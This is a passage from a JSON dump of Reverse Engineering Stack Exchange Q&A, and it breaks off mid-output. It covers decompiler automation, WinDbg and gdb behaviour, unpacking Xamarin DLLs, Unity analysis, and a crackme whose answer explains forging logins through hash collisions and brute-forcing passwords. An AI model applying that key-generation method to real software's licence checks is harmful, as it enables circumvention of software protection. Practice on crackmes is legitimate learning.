href=\"https://en.wikipedia.org/wiki/Cray\" rel=\"nofollow noreferrer\"><code>Cray</code></a>\n<a href=\"https://en.wikipedia.org/wiki/Adapteva\" rel=\"nofollow noreferrer\"><code>Epiphany</code></a>\n<a href=\"https://en.wikipedia.org/wiki/FR-V_(microprocessor)\" rel=\"nofollow noreferrer\"><code>FR-V</code></a>\n<a href=\"http://www.fujitsu.com/downloads/MICRO/fma/pdfmcu/hm91101-cm71-10102-2e.pdf\" rel=\"nofollow noreferrer\"><code>FR30</code></a>\n<a href=\"https://en.wikipedia.org/wiki/FTDI\" rel=\"nofollow noreferrer\"><code>FT32</code></a>\n<a href=\"https://en.wikipedia.org/wiki/H8_Family\" rel=\"nofollow noreferrer\"><code>H8-300</code></a>\n<a href=\"https://en.wikipedia.org/wiki/HP_FOCUS\" rel=\"nofollow noreferrer\"><code>HP-Focus</code></a>\n<a href=\"https://en.wikipedia.org/wiki/PA-RISC\" rel=\"nofollow noreferrer\"><code>HP-PA</code></a>\n<a href=\"https://en.wikipedia.org/wiki/Intel_i860\" rel=\"nofollow noreferrer\"><code>i860</code></a>\n<a href=\"https://en.wikipedia.org/wiki/IA-64\" rel=\"nofollow noreferrer\"><code>IA-64</code></a>\n<a href=\"http://www.ic72.com/pdf_file/v/165699.pdf\" rel=\"nofollow noreferrer\"><code>IQ2000</code></a>\n<a href=\"https://www.renesas.com/en-eu/products/microcontrollers-microprocessors/m16c.html\" rel=\"nofollow noreferrer\"><code>M32C</code></a>\n<a href=\"https://www.renesas.com/en-eu/products/microcontrollers-microprocessors/m32r.html\" rel=\"nofollow noreferrer\"><code>M32R</code></a>\n<a href=\"https://en.wikipedia.org/wiki/Motorola_68000_series\" rel=\"nofollow noreferrer\"><code>M68k</code></a>\n<a href=\"https://en.wikipedia.org/wiki/Motorola_88000\" rel=\"nofollow noreferrer\"><code>M88k</code></a>\n<a href=\"https://en.wikipedia.org/wiki/M%C2%B7CORE\" rel=\"nofollow noreferrer\"><code>MCore</code></a>\n<a href=\"https://en.wikipedia.org/wiki/LatticeMico32\" rel=\"nofollow noreferrer\"><code>Mico32</code></a>\n<a href=\"https://en.wikipedia.org/wiki/MicroBlaze\" rel=\"nofollow noreferrer\"><code>MicroBlaze</code></a>\n<a href=\"https://en.wikipedia.org/wiki/MIPS_instruction_set\" rel=\"nofollow noreferrer\"><code>MIPS16</code> <code>MIPSeb</code> <code>MIPSel</code></a>\n<a href=\"https://en.wikipedia.org/wiki/MMIX\" rel=\"nofollow noreferrer\"><code>MMIX</code></a>\n<a href=\"https://en.wikipedia.org/wiki/MN103\" rel=\"nofollow noreferrer\"><code>MN10300</code></a>\n<a href=\"http://moxielogic.org/blog/\" rel=\"nofollow noreferrer\"><code>Moxie</code></a>\n<a href=\"https://en.wikipedia.org/wiki/TI_MSP430\" rel=\"nofollow noreferrer\"><code>MSP430</code></a>\n<a href=\"http://osdk.andestech.com/index.html\" rel=\"nofollow noreferrer\"><code>NDS32</code></a>\n<a href=\"https://en.wikipedia.org/wiki/Nios_II\" rel=\"nofollow noreferrer\"><code>NIOS-II</code></a>\n<a href=\"https://en.wikipedia.org/wiki/OCaml\" rel=\"nofollow noreferrer\"><code>OCaml</code></a>\n<a href=\"https://en.wikipedia.org/wiki/PDP-11\" rel=\"nofollow noreferrer\"><code>PDP-11</code></a>\n<a href=\"https://en.wikipedia.org/wiki/PIC_microcontroller\" rel=\"nofollow noreferrer\"><code>PIC10</code> <code>PIC16</code> <code>PIC18</code> <code>PIC24</code></a>\n<a href=\"https://en.wikipedia.org/wiki/PowerPC\" rel=\"nofollow noreferrer\"><code>PPCeb</code> <code>PPCel</code></a>\n<a href=\"https://en.wikipedia.org/wiki/RISC-V\" rel=\"nofollow noreferrer\"><code>RISC-V</code></a>\n<a href=\"https://www.renesas.com/en-eu/products/microcontrollers-microprocessors/rl78.html\" rel=\"nofollow noreferrer\"><code>RL78</code></a>\n<a href=\"https://en.wikipedia.org/wiki/ROMP\" rel=\"nofollow noreferrer\"><code>ROMP</code></a>\n<a href=\"https://www.renesas.com/en-eu/products/microcontrollers-microprocessors/rx.html\" rel=\"nofollow noreferrer\"><code>RX</code></a>\n<a href=\"https://en.wikipedia.org/wiki/IBM_System/390_ES/9000_Enterprise_Systems_Architecture_ESA_family\" rel=\"nofollow noreferrer\"><code>S-390</code></a>\n<a href=\"https://en.wikipedia.org/wiki/SPARC\" rel=\"nofollow noreferrer\"><code>SPARC</code></a>\n<a href=\"https://en.wikipedia.org/wiki/STM8\" rel=\"nofollow noreferrer\"><code>STM8</code></a>\n<a href=\"https://sourceware.org/cgen/gen-doc/xstormy16.html\" rel=\"nofollow noreferrer\"><code>Stormy16</code></a>\n<a href=\"https://en.wikipedia.org/wiki/SuperH\" rel=\"nofollow noreferrer\"><code>SuperH</code></a>\n<a href=\"https://en.wikipedia.org/wiki/TILEPro64\" rel=\"nofollow noreferrer\"><code>TILEPro</code></a>\n<a href=\"https://en.wikipedia.org/wiki/Toshiba_TLCS#90\" rel=\"nofollow noreferrer\"><code>TLCS-90</code></a>\n<a href=\"https://en.wikipedia.org/wiki/Texas_Instruments_TMS320\" rel=\"nofollow noreferrer\"><code>TMS320C2x</code> <code>TMS320C6x</code></a>\n<a href=\"https://en.wikipedia.org/wiki/V850\" rel=\"nofollow noreferrer\"><code>V850</code></a>\n<a href=\"https://en.wikipedia.org/wiki/VAX\" rel=\"nofollow noreferrer\"><code>VAX</code></a>\n<a href=\"https://www.slideshare.net/AdaCore/controls-and-dataservices\" rel=\"nofollow noreferrer\"><code>Visium</code></a>\n<a href=\"https://en.wikipedia.org/wiki/Bellmac_32\" rel=\"nofollow noreferrer\"><code>WE32000</code></a>\n<a href=\"https://en.wikipedia.org/wiki/X86-64\" rel=\"nofollow noreferrer\"><code>X86-64</code></a>\n<a href=\"https://en.wikipedia.org/wiki/X86\" rel=\"nofollow noreferrer\"><code>X86</code></a>\n<a href=\"https://en.wikipedia.org/wiki/Tensilica\" rel=\"nofollow noreferrer\"><code>Xtensa</code></a>\n<a href=\"https://en.wikipedia.org/wiki/Zilog_Z80\" rel=\"nofollow noreferrer\"><code>Z80</code></a>\n<a href=\"https://github.com/cc65/cc65\" rel=\"nofollow noreferrer\"><code>#6502#cc65</code></a></p>\n"
    },
    {
        "Id": "16490",
        "CreationDate": "2017-10-06T14:17:52.313",
        "Body": "<p>If i have a large set of files and I'd like to run Hex-rays over them to produce output as C - can I do so in python?</p>\n\n<ul>\n<li>I see there is IDA Python</li>\n<li>And I see Hex-rays has a C++ SDK</li>\n</ul>\n\n<p>Is there a python Hex-rays API?</p>\n",
        "Title": "How to decompile with Hex Rays via a Python API?",
        "Tags": "|ida|idapython|python|hexrays|idapro-sdk|",
        "Answer": "<p>Thanks for all the answers. In the end I used retdec due to some licensing restrictions. I can't share the exact code used, but this might be useful for others looking at this too:</p>\n\n<p>Docker-IDA -  <a href=\"https://github.com/intezer/docker-ida\" rel=\"nofollow noreferrer\">https://github.com/intezer/docker-ida</a> - Can be changed to work on HexRays fairly easily</p>\n\n<p>Then commands such as the following may be useful:</p>\n\n<p>['/ida/idat','-Ohexrays:outfile:ALL','-A',folder + 'input.bin'])</p>\n\n<p>['mono','/dnSpy/dnSpy.Console.exe',filename,'-o', outdir]</p>\n\n<p>['/retdec/bin/decompile.sh','-l','py',filename]</p>\n"
    },
    {
        "Id": "16494",
        "CreationDate": "2017-10-06T16:33:47.677",
        "Body": "<p>I am not sure if I am understanding the raw output of <code>dds esp</code> or its 64-bit counterpart <code>dqs rsp</code> properly. When I see a list of entries in the stack, I tend to assume that wherever I see return addresses, those are calls made by code that have not returned yet. IOW, stringing them together should form a nice call stack. (let's not bother with <code>k*</code> group of Windbg commands for now.) Is that not the case always?</p>\n\n<p>Because there are some third party extensions, that operate on the <code>esp/rsp</code> output and strings together the entries into something that appear to look like a call stack but I can't seem to match that order with what I see in the source (well, whatever source I have.) There are even entries of functions that have returned long ago.</p>\n\n<p>What am I missing?</p>\n\n<p><strong>UPDATE:</strong></p>\n\n<p>OK -- the third party extension I use does say:</p>\n\n<p><code>Dumps (dps) from the stack limit the base only showing items that include the ! followed by +0x</code></p>\n\n<p>So, the question then becomes what <em>is</em> that entry? I thought it was the return address of some function that is fixing to make a call into another function?</p>\n",
        "Title": "Understanding the output of Windbg's `dds esp`",
        "Tags": "|debugging|windbg|stack|callstack|",
        "Answer": "<p>dds means dump dwords intrepreting the result as symbols</p>\n\n<p>suppose 0x401234 contains 0x77123456 and \n0x77123456 is resolved as kernel32!CreateFileA</p>\n\n<p>dds 0x401234 will yield kernel32!CreateFileA </p>\n\n<p>if you do dds esp it can return bogus symbols as stack can contain address that may be a constant which might resolve to a symbol </p>\n\n<p>edit </p>\n\n<p>dds/dqs/dps  are meant to be used to look for addresses that resolve to symbol you can use it against stack register esp/rsp/va to look for symbols \nonly keep in mind it can return bogus symbols </p>\n\n<p>for example after import table is resolved you can look what imports were resolved using dps /dds </p>\n\n<pre><code>0:000&gt; dds calc+1000 l6;dps calc+1000 l6\n00461000  760b0468 SHELL32!SHGetSpecialFolderPathW\n00461004  76115708 SHELL32!SHGetFolderPathW\n00461008  7615a129 SHELL32!ShellAboutW\n0046100c  7619dd83 SHELL32!SHCreateDirectory\n00461010  760b1e46 SHELL32!ShellExecuteExW\n00461014  00000000\n00461000  760b0468 SHELL32!SHGetSpecialFolderPathW\n00461004  76115708 SHELL32!SHGetFolderPathW\n00461008  7615a129 SHELL32!ShellAboutW\n0046100c  7619dd83 SHELL32!SHCreateDirectory\n00461010  760b1e46 SHELL32!ShellExecuteExW\n00461014  00000000\n</code></pre>\n\n<p>if you had used dd here it would be just a bunch of DWORDS</p>\n\n<pre><code>0:000&gt; dd calc+1000 \n00461000  760b0468 76115708 7615a129 7619dd83\n00461010  760b1e46 00000000 \n</code></pre>\n\n<p>other dereferncing commands inlude  <strong>dda / ddu / ddp / dpp</strong></p>\n\n<pre><code>dda derefences an ascii string \nddu derefernces an unicode string\nddp dereferences  a pointer (only 4 butes or a dword\ndpp dereferences a pointer ( either 4 or 8 bytes based on arch)\n</code></pre>\n\n<p>suppose you have code like this \nif you compile with using<br>\nvc++ <strong>cl /Zi /Od /EHsc /analyze /W4 dds.cpp /link /RELEASE</strong>\nand execute it </p>\n\n<pre><code>#include &lt;stdio.h&gt;\n#include &lt;stdlib.h&gt;\nchar *azz = \"forever\";\nchar *bzz = \"learning\";\nchar *czz = \"for\";\nchar *dzz = \"ever\";\nchar *ezz = \"learn\";\nchar *fzz = \"ing\";\nchar *gzz = \"for\";\nchar *hzz = \"eve\";\nchar *f[] = {azz,bzz,czz,dzz,ezz,fzz,gzz,hzz};\nint main () {\n\n    char **moo[] = { &amp;f[0],&amp;f[1],&amp;f[2],&amp;f[3],&amp;f[4],&amp;f[5],&amp;f[6],&amp;f[7] };\n    char *meow[] = {  f[0], f[1], f[2], f[3], f[4], f[5], f[6], f[7] };\n    for(int i =0;i &lt;_countof(f);i++)\n    {\n        printf(\"%p %10s\\n\" ,moo[i],meow[i]);\n    }\n    return 0;\n}\n</code></pre>\n\n<p>you will get a result like this </p>\n\n<pre><code>012158A0    forever\n012158A4   learning\n012158A8        for\n012158AC       ever\n012158B0      learn\n012158B4        ing\n012158B8        for\n012158BC        eve\n</code></pre>\n\n<p>if you set a breakpoint on line 18 \nand do dds you can see how windbg resolves the char** to module!symbol notation</p>\n\n<pre><code>windbg -c \"bp `dds!dds.cpp:18`;g\" dds.exe\n\n\n0:000&gt; bl\n     0 e Disable Clear  013910d0  [c:\\dds.cpp @ 18]     0001 (0001)  0:**** dds!main+0x70\n\n0:000&gt; .lastevent\nLast event: 808.1b8: Hit breakpoint 0      \n0:000&gt; rM0\ndds!main+0x70:\n013910d0 ff743430        push    dword ptr [esp+esi+30h] \nss:0023:002cfa50=013cb1a0\n\n0:000&gt; dds esp l14    \n002cfa20  013d5678 dds!__argc\n002cfa24  013d40f0 dds!_iob+0x90\n002cfa28  00000fa0\n002cfa2c  00000000\n002cfa30  013d48a0 dds!f   &lt;---------\n002cfa34  013d48a4 dds!f+0x4 &lt;------\n002cfa38  013d48a8 dds!f+0x8 &lt;------\n002cfa3c  013d48ac dds!f+0xc &lt;-----\n002cfa40  013d48b0 dds!f+0x10 &lt;-------\n002cfa44  013d48b4 dds!f+0x14 &lt;--------\n002cfa48  013d48b8 dds!f+0x18 &lt;---------\n002cfa4c  013d48bc dds!f+0x1c &lt;---------\n002cfa50  013cb1a0 dds!__xt_z+0x4\n002cfa54  013cb1a8 dds!__xt_z+0xc\n002cfa58  013cb1b4 dds!__xt_z+0x18\n002cfa5c  013cb1b8 dds!__xt_z+0x1c\n002cfa60  013cb1c0 dds!__xt_z+0x24\n002cfa64  013cb1c8 dds!__xt_z+0x2c\n002cfa68  013cb1cc dds!__xt_z+0x30\n002cfa6c  013cb1d0 dds!__xt_z+0x34\n</code></pre>\n\n<p>if you do dda esp you can see the strings </p>\n\n<pre><code>0:000&gt; dda esp l14\n002cfa20  013d5678 \".\"\n002cfa24  013d40f0 \"...\"\n002cfa28  00000fa0\n002cfa2c  00000000\n002cfa30  013d48a0 \n002cfa34  013d48a4 \n002cfa38  013d48a8 \n002cfa3c  013d48ac \n002cfa40  013d48b0 \n002cfa44  013d48b4 \n002cfa48  013d48b8 \n002cfa4c  013d48bc \n002cfa50  013cb1a0 \"forever\"  &lt;---------------\n002cfa54  013cb1a8 \"learning\" &lt;-----------\n002cfa58  013cb1b4 \"for\" &lt;--------------\n002cfa5c  013cb1b8 \"ever\"\n002cfa60  013cb1c0 \"learn\"\n002cfa64  013cb1c8 \"ing\"\n002cfa68  013cb1cc \"for\"\n002cfa6c  013cb1d0 \"eve\"\n</code></pre>\n\n<p>if you happen to compile check dpp ddp etc on both 32 bit and 64 bit binary\nfor the same stack</p>\n"
    },
    {
        "Id": "16498",
        "CreationDate": "2017-10-06T20:56:49.800",
        "Body": "<p>Say I have the byte array <code>c1 83 2a 9e f9 ff ff ff</code> (just an example) and I have no idea what the format is. It could be characters in ASCII, UTF-8, could be WORD/DWORD integers in Little or Big Endian, could be 2 floats or 1 double or just anything else. I feel like that would be a situation that occurred extremely often to every reverse engineer.</p>\n\n<p>So my question is: Is there a commonly used approach for that kind of problem? Most likely a command line tool that takes the array and displays it in all the different possible representations? Or do people just rely on the given representations of the programs they currently use (ollydbg, cheat engine, hex editor or what ever they happen to use)?</p>\n",
        "Title": "How do reverse engineers commonly detect the format of binary data?",
        "Tags": "|tools|binary-format|",
        "Answer": "<p>The problem being addressed here is commonly called the <strong>semantic gap</strong>.</p>\n\n<p>If you stumble across any binary snippet like the one you posted, it's nearly impossible to deduce the way the value is meant to be interpreted, unless you find code interpreting this value in any way (e.g. a file loader using this value as an offset, ...).</p>\n\n<p>The main problem is that you can come up with countless ways of interpretation for this value. Maybe these are just flags. Maybe it's meant to be disassembled for PowerPC. Maybe it's the score variable in a Pacman game. You can <em>try</em> to deduce the meaning by interpreting it in numerous ways, but often that won't cut it.</p>\n\n<p><a href=\"https://i.stack.imgur.com/c3O7p.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/c3O7p.png\" alt=\"enter image description here\"></a></p>\n"
    },
    {
        "Id": "16508",
        "CreationDate": "2017-10-08T01:35:27.337",
        "Body": "<p>I have an apk that was written in xamarin. The meta data suggests there are lots of dlls files this application uses. I found a file called libmonodroid_bundle_app.so which when disassembled in IDA appears to be a packer/unpacker with functions like inflate, my_inflate, install_dll_config_files etc.</p>\n\n<p>I want to unpack whatever dll files are contained in this, can anyone give any suggestions how I can do this? There is an x86 compiled .so file, so perhaps I can execute it in windows somehow.</p>\n\n<p>edit: It appears it is packed with zlib. There are nice named headers in the file so I will try exporting the raw data then using a zlib library to decompress.</p>\n",
        "Title": "Unpacking xamarin mono dll from libmonodroid_bundle.app.so",
        "Tags": "|android|arm|dll|packers|",
        "Answer": "<p>This works very well cross-platform. Make sure to install these python packages:</p>\n\n<pre><code>sudo pip install pyelftools\nsudo pip install yara-python\n</code></pre>\n\n<p>this will export all dlls from <code>libmonodroid_bundle_app.so</code>:</p>\n\n<pre><code>from elftools.elf.elffile import ELFFile\nfrom zipfile import ZipFile\nfrom cStringIO import StringIO\nimport gzip, string\n\ndata = open('libmonodroid_bundle_app.so').read()\nf = StringIO(data)\nelffile = ELFFile(f)\nsection = elffile.get_section_by_name('.dynsym')\n\nfor symbol in section.iter_symbols():\n  if symbol['st_shndx'] != 'SHN_UNDEF' and symbol.name.startswith('assembly_data_'):\n    print symbol.name\n    dll_data = data[symbol['st_value']:symbol['st_value']+symbol['st_size']]\n    dll_data = gzip.GzipFile(fileobj=StringIO(dll_data)).read()\n    outfile = open(symbol.name[14:].replace('_dll', '.dll'), 'w')\n    outfile.write(dll_data)\n    outfile.close()\n</code></pre>\n\n<p>Adapted from <a href=\"https://github.com/maldroid/maldrolyzer/blob/master/plugins/z3core.py\" rel=\"nofollow noreferrer\">https://github.com/maldroid/maldrolyzer/blob/master/plugins/z3core.py</a></p>\n"
    },
    {
        "Id": "16509",
        "CreationDate": "2017-10-08T11:11:38.660",
        "Body": "<p>I'm a newbie who just started own way through reverse engineering so I apologize if my question is not appropriate.\nCurrently I'm going through different Crackme puzzles and now I'm stuck. I've spend a couple of days trying to solve it but I can't. </p>\n\n<p>We enter a login and a password. Then we apply <em>algorithm #1</em> on login. And <em>algorithm #2</em> on password. In both cases we get a number as a result. And if the two numbers are equal, then the password is correct. I'm trying to find a way to generate a correct password for any given login.</p>\n\n<p>I've figured out both algorithms with IDA and wrote a program in C++ to test my solutions. </p>\n\n<h3>Algorithm For Login</h3>\n\n<p>Login should be at least 4 chars.</p>\n\n<pre><code>login = \"Vasya_Pupkin\"\n</code></pre>\n\n<p>1) From login we get two first chars (\"Va\") and two last (\"in\") and write its ASCII-code into hex number:</p>\n\n<pre><code>V = 0x56, a = 0x61, i = 0x69, n = 0x6e\nhexVain = 0x5661696e\n</code></pre>\n\n<p>2) We go through the login string and add up all ASCII-codes:</p>\n\n<pre><code>for (int j = 0; j &lt; login.length(); j++)        \n    asciiSum += login[j];\n</code></pre>\n\n<p>For <code>Vasya_Pupkin</code> we get \n    <code>asciiSum = 0x4da</code></p>\n\n<p>3) We xor those values with some number 0xfec0135a:</p>\n\n<pre><code>hexVain ^ asciiSum ^ 0xfec0135a\nmagicValueLogin = 0xa8a17eee\n</code></pre>\n\n<h3>Algorithm For Password</h3>\n\n<p>Password should be at least 12 chars and should contain only'a'-'f', 'A'-'F', '0'-'9'.\nWe enter password as string. Then we divide the length by 2.</p>\n\n<pre><code>password_str = \"011c0d0f090e00\";\nn = password_str.length() / 2;  // n = 7\n</code></pre>\n\n<p>Then we convert string representation to hex and aplly this algorithm:\nWe go through every byte from left to right and calculate new magic value.</p>\n\n<pre><code>password = 0x011c0d0f090e00;\nmagicValuePass = 0xadde;\nfor (int i = 0; i &lt; n; i++)\n{\n    // we count bytes from left to right\n    passByte = getByte(password, i);    \n\n    // multiplication by 32 is left shift for 5 bytes\n    magicValuePass = passByte ^ (32 * magicValuePass + 1) ^ 0xdeadbeef;\n}\n</code></pre>\n\n<p>The output of this function is following:</p>\n\n<pre><code>Byte:  01\nMagic: deb8052f\n\nByte:  1c\nMagic: 9ad1b12\n\nByte:  0d\nMagic: eb0edca3\n\nByte:  0f\nMagic: bf762a81\n\nByte:  09\nMagic: 3068eec7\n\nByte:  0e\nMagic: d3b06600\n\nByte:  00\nMagic: a8a17eee\n</code></pre>\n\n<p>In the end we get <code>magicValuePass = 0xa8a17eee</code> which is the same value we get for login so the password is correct.</p>\n\n<h3>What I've Tried</h3>\n\n<p>I thought about reversing <code>magicValuePass</code> generation but but came to conclusion that's a bad idea. </p>\n",
        "Title": "Identify password generation algorithm",
        "Tags": "|encryption|decryption|xor|",
        "Answer": "<p>How about generating many logins from a password?</p>\n\n<p>To start, algorithm 1 looks like the weakest link. Algorithm 2 is a one directional hash function and there's no way you can extract the characters by only knowing the magic number and the password bias. It involves some advanced math work and time. I explain the process of breaking Algorithm 2 in the second section.</p>\n\n<p>Suppose :</p>\n\n<p><strong>log_bias  = 0xfec0135a</strong></p>\n\n<p><strong>pass_bias = 0xdeadbeef</strong></p>\n\n<p>Let's look at algorithm 1:</p>\n\n<p>1) <strong>log_chunk = 0xlogin(0)login(1)login(n - 2)login(n - 1);</strong></p>\n\n<p>2) <strong>log_checksum = Sum(login, 0, n);</strong> </p>\n\n<p>3) <strong>log_magicnumber = log_chunk ^ log_checksum ^ log_bias;</strong></p>\n\n<p>This algorithm shows two potential weaknesses. One, if you take the magic number and xor it with the <strong>log_bias</strong> constant you obtain : \n<strong>log_chunk ^ log_checksum</strong>.\nTwo, <strong>log_chunk</strong> is a concatenation in hex of the first two characters and the last two characters and it provides a frame for the login; therefore, we can generate our own characters and give that variable a value. </p>\n\n<p>After getting rid of the bias and choosing a value for the chunk, we can obtain a value for <strong>log_checksum</strong>.</p>\n\n<p><strong>log_checksum =  (log_magicnumber ^ log_bias) ^ log_chunk;</strong></p>\n\n<p>What's left to do is to find a sequence of numbers representing characters which sum is the checksum.</p>\n\n<p>How? </p>\n\n<p>Well, if you look at the <a href=\"http://www.asciichars.com/\" rel=\"nofollow noreferrer\">ASCII</a> table you'll see that printable characters go from 33 to 126. If we generate a random value <strong>b</strong> between 33 and 126 and subtract it from the checksum we obtain a character value <strong>b</strong> and  reduce the checksum value by <strong>b</strong> : <strong>log_checksum -= b</strong>. Repeat this operation until checksum value goes below 126 and only store characters which <strong>diff = (log_checksum - b)</strong> is greater or equal than 33. This way, all characters will be printable.   </p>\n\n<p>After filling the middle of the login string it can be represented as follows :</p>\n\n<p><strong>login</strong> = <strong>A B</strong> <strong>b</strong>0 <strong>b</strong>1 <strong>b</strong>2 ... <strong>b</strong>j <strong>C D</strong></p>\n\n<p>with A, B, C, D the characters we chose, and <strong>b</strong>i the characters generated from the checksum. </p>\n\n<p>This reverse engineering approach is a cheap smart hack that targets the weakest hash function of the process and it will definitely work and save you time. From one password you'll obtain multiple logins : this is called a hash collision. </p>\n\n<p>Here's an example output of this code:</p>\n\n<pre><code>Login: Vasya_Pupkin\nPassword: 011c0d0f090e00\nLogin    check : 0xa8a17eee\nPassword check : 0xa8a17eee\nCheck success :)\nValid login for pass_magicnumber 0xa8a17eee: Va[JiIUpHBI]in, length = 14\nValid login for pass_magicnumber 0xa8a17eee: VaU[^OnyD^fin, length = 13\nValid login for pass_magicnumber 0xa8a17eee: Va|IkH`y`i2in, length = 13\nValid login for pass_magicnumber 0xa8a17eee: VaTziSl^oK&gt;in, length = 13\nValid login for pass_magicnumber 0xa8a17eee: VawNzAOGWktin, length = 13\nValid login for pass_magicnumber 0xa8a17eee: Vaeh]bmzbwin, length = 12\nValid login for pass_magicnumber 0xa8a17eee: VaugjXcNEvBin, length = 13\nValid login for pass_magicnumber 0xa8a17eee: VaJoMwQ{p[8in, length = 13\nValid login for pass_magicnumber 0xa8a17eee: VatBZwR`R|Ein, length = 13\nValid login for pass_magicnumber 0xa8a17eee: VaIy[lkZQbKin, length = 13\n</code></pre>\n\n<p>All the listed valid logins will work for the password \"011c0d0f090e00\".\nIf you alter the password a bit, say : \"011c0d0f090efe\", here's what you get : </p>\n\n<pre><code>Login: VaNpNa^Twin \nPassword: 011c0d0f090efe\nLogin    check : 0xa8a17e10\nPassword check : 0xa8a17e10\nCheck success :)\nValid login for pass_magicnumber 0xa8a17e10: VaeOTUkOG8in, length = 12\nValid login for pass_magicnumber 0xa8a17e10: VaUDFEzBx&gt;in, length = 12\nValid login for pass_magicnumber 0xa8a17e10: Va|gktoein, length = 10\nValid login for pass_magicnumber 0xa8a17e10: VaaPRTogiin, length = 11\nValid login for pass_magicnumber 0xa8a17e10: VaFEzBpktin, length = 11\nValid login for pass_magicnumber 0xa8a17e10: VafCCzmQrin, length = 11\nValid login for pass_magicnumber 0xa8a17e10: VaFDWMHSNC&lt;in, length = 13\nValid login for pass_magicnumber 0xa8a17e10: VaSvoIgR\\in, length = 11\nValid login for pass_magicnumber 0xa8a17e10: Va[{eLdl?in, length = 11\nValid login for pass_magicnumber 0xa8a17e10: VaPaoDPXFDin, length = 12\n</code></pre>\n\n<hr>\n\n<p>Now, let's talk about generating passwords from a login magic number.\nYou'll have to attack this function :</p>\n\n<p><strong>log_magicnumber = b ^ ((log_magicnumber &lt;&lt; 5) + 1) ^ pass_bias</strong></p>\n\n<p>If you look closely, you'll see that current <strong>log_magicnumber</strong> is computed using the previous <strong>log_magicnumber</strong> value transformed and mixed up with an unknown byte value and a known bias.\nIteratively, it looks like this:</p>\n\n<p><strong>log_magicnumber(i) = b ^ ((log_magicnumber(i - 1) &lt;&lt; 5) + 1) ^ pass_bias</strong></p>\n\n<p>If we xor the <strong>pass_magicnumber</strong> and the <strong>pass_bias</strong> we're left with :</p>\n\n<p><strong>b ^ ((log_magicnumber &lt;&lt; 5) + 1)</strong></p>\n\n<p>After generating all possible values of <strong>b</strong> (<em>0-9</em> and <em>a-f</em>, 16 possibilities total) and deriving the corresponding value of <strong>log_magicnumber</strong> for each possible value of <strong>b</strong>, we apply the same step on these magic number values to obtain another value &amp; we go on 8 times (the password string being a 64 bit value = 8 bytes with a minimum length of 6 bytes). We discard the two left-most bytes if set to zero and pack all the bytes into a password string; we then verify with the password magic number algorithm if the password's magic number matches the login's.     </p>\n\n<p>This approach amounts to creating an 8 stage tree where each node has 16 children. This means that we'll have to generate 16 to the power of 8 characters : 16^8 = (2^4)^8 = 2^32 = 4.294.967.296 characters (4GB) and combine them in strings of 6 to 8 characters with each string being checked for validation. It was fun to code :) </p>\n"
    },
    {
        "Id": "16519",
        "CreationDate": "2017-10-09T22:06:46.367",
        "Body": "<p>I'm trying to understand how the procedural generation in a particular Unity 3D game works. I do not have the source code/project file, just a windows build.</p>\n\n<p>I've opened up a dll called <code>Assembly-UnityScript.dll</code> with ILSpy and found some classes, but it's not immediately apparent how the classes are put together, i.e. how and when methods on the classes are called.</p>\n\n<p>I've looked at some tutorials but they are all concerned with injecting their own code into the game. I'm just interested in how my target game does what it does. </p>\n\n<p>Is there any straightforward way to figure out how the classes are used?</p>\n",
        "Title": "See how classes are used in a Unity 3D game",
        "Tags": "|windows|dll|c#|",
        "Answer": "<blockquote>\n  <p>it's not immediately apparent how the classes are put together, i.e.\n  how and when methods on the classes are called</p>\n</blockquote>\n\n<p>I'm afraid there is no free lunch here.</p>\n\n<p>What you can tackle this with two approaches:</p>\n\n<ol>\n<li><p>Static disassembly (look at the disassembled code and try to make sense of it)</p></li>\n<li><p>Dynamic analysis (e.g. use a debugger like <a href=\"https://github.com/0xd4d/dnSpy\" rel=\"nofollow noreferrer\">dnSpy</a>) This way you can 'watch' the acutal generation process.</p></li>\n</ol>\n"
    },
    {
        "Id": "16521",
        "CreationDate": "2017-10-10T04:45:49.023",
        "Body": "<p>So I was messing with gdb and came across something rather interesting. I ran the following code into gdb:</p>\n\n<pre><code>int i, g = 1;\nfor (i = 0; i &lt; 100; i++)\n          g++;\n</code></pre>\n\n<p>Before execution, <strong>disas main</strong> yields:</p>\n\n<pre><code>   0x000000000000064a &lt;+0&gt;: push   %rbp\n   0x000000000000064b &lt;+1&gt;: mov    %rsp,%rbp\n   0x000000000000064e &lt;+4&gt;: sub    $0x10,%rsp\n   0x0000000000000652 &lt;+8&gt;: movl   $0x1,-0x4(%rbp)\n   0x0000000000000659 &lt;+15&gt;:    movl   $0x0,-0x8(%rbp)\n   0x0000000000000660 &lt;+22&gt;:    jmp    0x66a &lt;main+32&gt;\n   0x0000000000000662 &lt;+24&gt;:    addl   $0x1,-0x4(%rbp)\n   0x0000000000000666 &lt;+28&gt;:    addl   $0x1,-0x8(%rbp)\n   0x000000000000066a &lt;+32&gt;:    cmpl   $0x63,-0x8(%rbp)\n   0x000000000000066e &lt;+36&gt;:    jle    0x662 &lt;main+24&gt;\n   0x0000000000000670 &lt;+38&gt;:    mov    -0x4(%rbp),%eax\n   ...\n</code></pre>\n\n<p>Interestingly, after <strong>run</strong>, things look different:</p>\n\n<pre><code>   0x000055555555464a &lt;+0&gt;: push   %rbp\n   0x000055555555464b &lt;+1&gt;: mov    %rsp,%rbp\n   0x000055555555464e &lt;+4&gt;: sub    $0x10,%rsp\n   0x0000555555554652 &lt;+8&gt;: movl   $0x1,-0x4(%rbp)\n   0x0000555555554659 &lt;+15&gt;:    movl   $0x0,-0x8(%rbp)\n   0x0000555555554660 &lt;+22&gt;:    jmp    0x55555555466a &lt;main+32&gt;\n   0x0000555555554662 &lt;+24&gt;:    addl   $0x1,-0x4(%rbp)\n   0x0000555555554666 &lt;+28&gt;:    addl   $0x1,-0x8(%rbp)\n   0x000055555555466a &lt;+32&gt;:    cmpl   $0x63,-0x8(%rbp)\n   0x000055555555466e &lt;+36&gt;:    jle    0x555555554662 &lt;main+24&gt;\n   0x0000555555554670 &lt;+38&gt;:    mov    -0x4(%rbp),%eax\n   ...\n</code></pre>\n\n<p>What is going on here? Why the addresses are different before execution?</p>\n\n<p>Edit:</p>\n\n<p>Output of <strong>info proc mappings</strong>:</p>\n\n<pre><code>      Start Addr           End Addr       Size     Offset objfile\n  0x555555554000     0x555555555000     0x1000        0x0 /tmp/test\n  0x555555754000     0x555555755000     0x1000        0x0 /tmp/test\n  0x555555755000     0x555555756000     0x1000     0x1000 /tmp/test\n  0x7ffff7a21000     0x7ffff7bcf000   0x1ae000        0x0 /usr/lib/libc-2.26.so\n  0x7ffff7bcf000     0x7ffff7dce000   0x1ff000   0x1ae000 /usr/lib/libc-2.26.so\n  0x7ffff7dce000     0x7ffff7dd2000     0x4000   0x1ad000 /usr/lib/libc-2.26.so\n  